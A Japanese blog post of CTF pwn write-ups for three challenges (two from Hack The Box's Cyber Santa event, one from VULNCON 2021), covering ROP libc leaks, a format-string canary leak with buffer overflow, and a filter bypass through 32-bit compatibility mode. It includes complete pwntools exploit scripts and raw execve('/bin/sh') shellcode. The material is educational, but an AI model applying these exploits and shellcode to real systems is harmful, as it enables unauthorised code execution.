<Cyber Santa is Coming to Town> Writeup
はじめに
12 月 1 日(水)22 : 00 ~ 12 月 6 日(月)4 : 00 に行われていた Hack The Box 主催の CTF 、Cyber Santa is Coming to Town に参加しました。
5 ジャンル × 5 問ずつ出題されました。Pwn 5 問のうち最後の 2 問の Writeup をちょっとだけ書きます。
結果
Minimelfistic
実行ファイルと libc が配布されました。サンタが家に帰ってきたタイミングでアラームか何かを消してもらいます。
$ ./chall [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [*] Santa is not home! [!] Santa returned! [*] Hello 🎅! Do you want to turn off the 🚨? (y/n) > y [!] For your safety, the 🚨 will not be deactivated! [*] Santa is not home!
$ checksec chall [*] '/home/hasuke/Downloads/minimelfistic/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b'.'
サンタが帰ってきて質問してきますが、これに返答する際に BOF を起こせます。
攻撃の流れは、
write()
を用いて libc leak → そのままmain()
に返る → リークした値を利用して、もう一度 ROP をしてシェルをとる
という感じです。
write()
を呼ぶ時に第 3 引数まで設定する必要がありますが、それには__libc_csu_init()
の一部が利用できます。
0x0000000000400a20 <+64>: mov rdx,r15 0x0000000000400a23 <+67>: mov rsi,r14 0x0000000000400a26 <+70>: mov edi,r13d 0x0000000000400a29 <+73>: call QWORD PTR [r12+rbx*8] 0x0000000000400a2d <+77>: add rbx,0x1 0x0000000000400a31 <+81>: cmp rbp,rbx 0x0000000000400a34 <+84>: jne 0x400a20 <__libc_csu_init+64> 0x0000000000400a36 <+86>: add rsp,0x8 0x0000000000400a3a <+90>: pop rbx 0x0000000000400a3b <+91>: pop rbp 0x0000000000400a3c <+92>: pop r12 0x0000000000400a3e <+94>: pop r13 0x0000000000400a40 <+96>: pop r14 0x0000000000400a42 <+98>: pop r15 0x0000000000400a44 <+100>: ret
具体的には、write(1, addr_got_write, 16)
と設定するために、
0x400a3a に入り、rbx、rbp、r12、r13、r14、r15 にそれぞれ 0、1、write()
の GOT アドレス、1 、write()
の GOT アドレス、16 を入れた後、 0x400a20 にリターンします。
すると rdx、rsi、edi にそれぞれ適切な値を設定した上でwrite()
を呼べ、さらに 0x400a34 の分岐を通り抜け、すきな関数にリターンできます。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '46.101.85.29' #PORT = 31882 binf = ELF(bin_file) libc = ELF('./libc.so.6') def attack(io, **kwargs): exploit = p64(0x39) exploit += b'a' * 0x40 exploit += p64(0x400a3a) exploit += p64(0) exploit += p64(1) exploit += p64(binf.got['write']) exploit += p64(1) exploit += p64(binf.got['write']) exploit += p64(16) exploit += p64(0x400a20) exploit += b'0' * 0x38 exploit += p64(binf.sym.main) io.sendlineafter('> ', exploit) io.recvline() io.recvline() io.recvline() leak = unpack(io.recvuntil(b'\x00'), 'all') libc.address = leak - libc.sym.write info('libc_base = 0x{:08x}'.format(libc.address)) onegad = [0x4f3d5, 0x4f432, 0x10a41c] addr_onegad = libc.address + onegad[0] io.sendlineafter('> ', p64(57) + b'a'*0x40 + p64(addr_onegad)) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
Music Notes
サンタの楽譜が悪い奴らに書き換えられて、それを修正してあげるっていう設定です。実行ファイルと libc が配布されました。
こんなふうに 5 回連続で正しい音を当てれば名前とプレゼントを入力できます。
$ ./chall 🎵 🎻 Jingle bells, jingle bells, jingle...? 🎸 🎵 .------. _______ __ ( X X ) / ------. / ._`_ \ X X / | / ~--~ \ / X X \ | | __ `.____________________ _^-----^ ( ) | | IX|XXXXXXX/--\XXXXXXXXXXXXXXXXXXXXXXXXX| o o o | `-||-' \ | IX|XXXXXXX\__/XXXXXXXXXXXXXXXXXXXXXXXXX|_o_o_o_| || \ .---. . || -----' ~~'' || () Choose note: 1. B 2. D > 2 Choose note: 1. D 2. B > 2 Choose note: 1. A 2. G > 1 Choose note: 1. G 2. B > 1 Choose note: 1. D 2. B > 1 [+] You collected all the notes! [*] Tell me your name so that you can receive your 🎁! > hoge [*] So, your name is: hoge [*] What a nice name! Tell me what would you like as a 🎁: huga [*] 🎅 will prepare your gift soon!
$ checksec chall [*] '/home/hasuke/Downloads/music_notes/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'.'
正しい音は D - B - A - G - D です。
利用する脆弱性は、
① 名前を確かめてくるところの FSB と
② プレゼントを入力するところの BOF(変数 present のサイズは 40 バイト)
です。
read(0,name,(long)(local_84 + -1)); printf("\n[*] So, your name is: "); printf(name); printf(&DAT_001013b8); read(0,present,0x6e);
① で canary と__libc_start_main() + 231
のアドレスをリークしてから、② で ROP をします。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '159.65.88.143' #PORT = 30280 binf = ELF(bin_file) libc = ELF('./libc.so.6') notes = ['D', 'B', 'A', 'G', 'D'] def choose_notes(io, i): io.recvuntil('note:') io.recvline() io.recv(3) if notes[i] == io.recv(1).decode(): io.sendlineafter('> ', '1') else: io.sendlineafter('> ', '2') def attack(io, **kwargs): for i in range(5): choose_notes(io, i) fsa = '%41$p_%43$p' io.sendlineafter('> ', fsa) io.recvuntil('0x') canary = int(io.recv(16), 16) io.recv(3) leak = int(io.recv(12), 16) libc.address = leak - 231 - libc.sym.__libc_start_main info('libc_base is 0x{:08x}'.format(libc.address)) onegad = [0x4f3d5, 0x4f432, 0x10a41c] addr_onegad = libc.address + onegad[1] exploit = b'a' * 0x28 exploit += p64(canary) exploit += b'a' * 0x38 exploit += p64(addr_onegad) io.recvuntil('like') io.sendafter(': ', exploit) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
<VULNCON CTF 2021> More than Shellcoding Writeup
はじめに
先週末に行われていた VULNCON CTF 2021 に1人で参加しました。
More than Shellcoding だけ解けました。
ちなみに、このCTFは VULNCON 2021 というイベントの企画の1つらしく、そこでは専門家の方々のトークイベントなども開催されるらしいです。学校があるので観られなそう。ちょっと残念。
More than Shellcoding (Pwn)
実行ファイルだけ配られました。
$ file More_than_shellcoding More_than_shellcoding: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=43505c2808579f50829576cb1bbcbfd5bd5a7f95, for GNU/Linux 3.2.0, not stripped $ checksec chall [*] '/home/hasuke/Programs/VULN/Shellcoding/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
入力したシェルコードを実行してくれるようですが、どうせ何か制限がかかっているので、デコンパイル*1(広義)して解析していきます。
$ ./chall Are you really good at shellcoding Lets try : aaaaaaaaa Illegal instruction (コアダンプ)
入力を受け取る部分を見てみると、シェルコードが格納される領域のアドレスがわかります。
puts("Are you really good at shellcoding Lets try : "); __buf = (code *)mmap((void *)0x69420000,0x100,2,0x22,0,0); uVar1 = read(0,__buf,0x100); mprotect(__buf,0x100,4);
制限は、fileter_shellcode関数のこの部分にあります。
index = 0; while( true ) { if (len_shellcode + -1 <= index) { return; } if ((*(char *)(shellcode + index) == '\x0f') && (*(char *)(shellcode + (long)index + 1) == '\x05')) break; index = index + 1; } puts("\nbad shellcode"); /* WARNING: Subroutine does not return */ exit(0);
入力したコードの中に \x0f\x05 のかたまりがあると実行してくれません( \x0f\x05 はsyscall
に対応します)。
こういう場合の作戦の1つとして、シェルコードの末尾に \x0e\x05 とかを入れて、そこのアドレスを inc
命令で syscall
に変換するやり方があります。ですが今回は、mprotect()
によって、後から書き込みができない状態になっているので、その方法は通用しません(第3引数の 0x4 は PROT_EXEC
に対応します)。
syscall
を直接実行するのは難しそうなので、32 ビットモードでint 0x80
命令を実行して、システムコールを発行する方法を考えます。
ISA が AMD64 の CPU は、OS が 64 ビットだと Long モードで動作します。Long モードには 64 ビットモードと互換モードがあり、前者から後者に切り替えることで、アドレスが 32 ビット単位の命令を実行できるようになります。そしてこの切り替えは、コードセグメントのセレクタ値を 0x23 にすることで行えます。セレクタ値の変更にはretf
命令*2が使えます。*3
具体的な操作をアセンブリ言語で書くとこんな感じになります。(11行目以降は、ももいろテクノロジー*4を参考にしました)
global main main: BITS 64 xor rsp, rsp mov esp, 0x404088 mov DWORD [rsp], 0x69420018 mov DWORD [rsp+4], 0x23 retf BITS 32 push 0x0068732f push 0x6e69622f mov ebx, esp xor edx, edx push edx push ebx mov ecx, esp mov eax, 11 int 0x80
ちなみに nasm でアセンブルするときは PTR がいらないみたいです。
互換モードに切り替わる際、スタックポインタは元々指していたアドレスの下位 4 バイト分のアドレスを指すようになるので、切り替わる前に rsp の値を調整しておく必要があります。メモリ等の情報は、bss 領域に書き込みました。
exploit コードはこんな感じです。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '35.228.15.118' #PORT = 1338 binf = ELF(bin_file) def attack(io, **kwargs): shellcode = b'\x48\x31\xe4\xbc\x88\x40\x40\x00\xc7\x04\x24\x18\x00\x42\x69\xc7\x44\x24\x04\x23\x00\x00\x00\xcb'\ b'\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80' io.recvline() io.sendline(shellcode) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()